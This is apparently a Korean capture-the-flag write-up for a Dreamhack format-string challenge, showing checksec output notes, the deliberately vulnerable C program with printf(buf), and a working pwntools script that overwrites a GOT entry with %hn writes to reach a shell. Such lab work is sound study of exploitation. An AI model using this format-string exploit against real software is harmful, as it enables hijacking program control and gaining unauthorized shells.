먼저 checksec을 통해 적용된 보안 기법을 분석해보자.

32비트 환경에서 실행되는 것을 확인할 수 있다. NX가 적용되었고, Partial RELRO 이므로 GOT 영역을 Overwrite 할 수도 있겠다. 스택 카나리는 보이지 않는다.
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void alarm_handler() {
puts("TIME OUT");
exit(-1);
}
void initialize() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(30);
}
void get_shell() {
system("/bin/sh");
}
int main(int argc, char *argv[]) {
char buf[0x80];
initialize();
read(0, buf, 0x80);
printf(buf);
exit(0);
}
printf(buf)가 취약점인것 같다. 여기에 포맷 스트링 버그를 발생시켜 GOT 엔트리를 변경시키고 get_shell() 함수로 실행흐름을 탈취하자.
32비트 환경에서 실행되는 이 프로그램은, rsp 부터 +4바이트를 하며 인자를 전달받는다.
따라서 got 엔트리가 담긴 주소(0x804a024)에 get_shell()을 가리키는 주소를 담으면 된다. 페이로드는 다음과 같다.

0x804에서 0x8을 빼는 이유는 이미 앞 부분에서 addr+2와 addr을 출력하면서 4+4, 8바이트를 썻기에 이를 반영한 것이다.
from pwn import *
p = remote('host3.dreamhack.games',17363)
addr= int(0x804a024)
fstring = p32(addr+ 2)
fstring += p32(addr)
fstring += f"%{0x0804-0x8}c%1$hn".encode()
fstring += f"%{0x8609 - 0x0804}c%2$hn".encode()
p.send(fstring)
p.interactive()